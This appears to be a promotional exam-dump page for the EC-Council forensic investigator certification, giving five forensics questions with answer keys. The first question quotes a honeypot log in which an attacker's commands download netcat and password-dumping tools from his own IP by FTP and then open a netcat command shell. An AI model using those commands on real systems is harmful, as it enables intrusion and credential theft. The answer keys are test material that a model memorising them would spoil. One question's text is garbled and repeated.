312-49V10Q&As

ECCouncil Computer Hacking Forensic Investigator (V10)

Pass EC-COUNCIL 312-49V10 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass2lead.com/312-49v10.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

🔧 **Instant Download** After Purchase

🔧 **100% Money Back** Guarantee

🔧 **365 Days** Free Update

🔧 **800,000+** Satisfied Customers

QUESTION 1

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k

B. There are two attackers on the system ?johna2k and haxedj00

C. The attack is a remote exploit and the hacker downloads three files

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C

QUESTION 2

Smith, as a part his forensic investigation assignment, seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data in the mobile device. Smith found that the SIM was protected by a Personal Identification Number (PIN) code, but he was also aware that people generally leave the PIN numbers to the defaults or use easily guessable numbers such as 1234. He made three unsuccessful attempts, which blocked the SIM card. What can Jason do in this scenario to reset the PIN and access SIM data?

A. He should contact the network operator for a Temporary Unlock Code (TUK)

B. Use system and hardware tools to gain access

![Pass2Lead logo](https://Pass2Lead.com)
C. He can attempt PIN guesses after 24 hours

D. He should contact the network operator for Personal Unlock Number (PUK)

Correct Answer: D

QUESTION 3

Why should you note all cable connections for a computer you want to seize as evidence?

A. to know what outside connections existed

B. in case other devices were connected

C. to know what peripheral devices exist

D. to know what hardware existed

Correct Answer: A

QUESTION 4

Which of the following tool captures and allows you to interactively browse the traffic on a network?

A. Security Task Manager

B. Wireshark

C. ThumbsDisplay

D. RegScanner

Correct Answer: B

QUESTION 5

While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h.?What does this indicate on the computer?replaced by the hex code byte ?5h.?What does this indicate on the computer?

A. The files have been marked as hidden

B. The files have been marked for deletion

C. The files are corrupt and cannot be recovered

D. The files have been marked as read-only

Correct Answer: B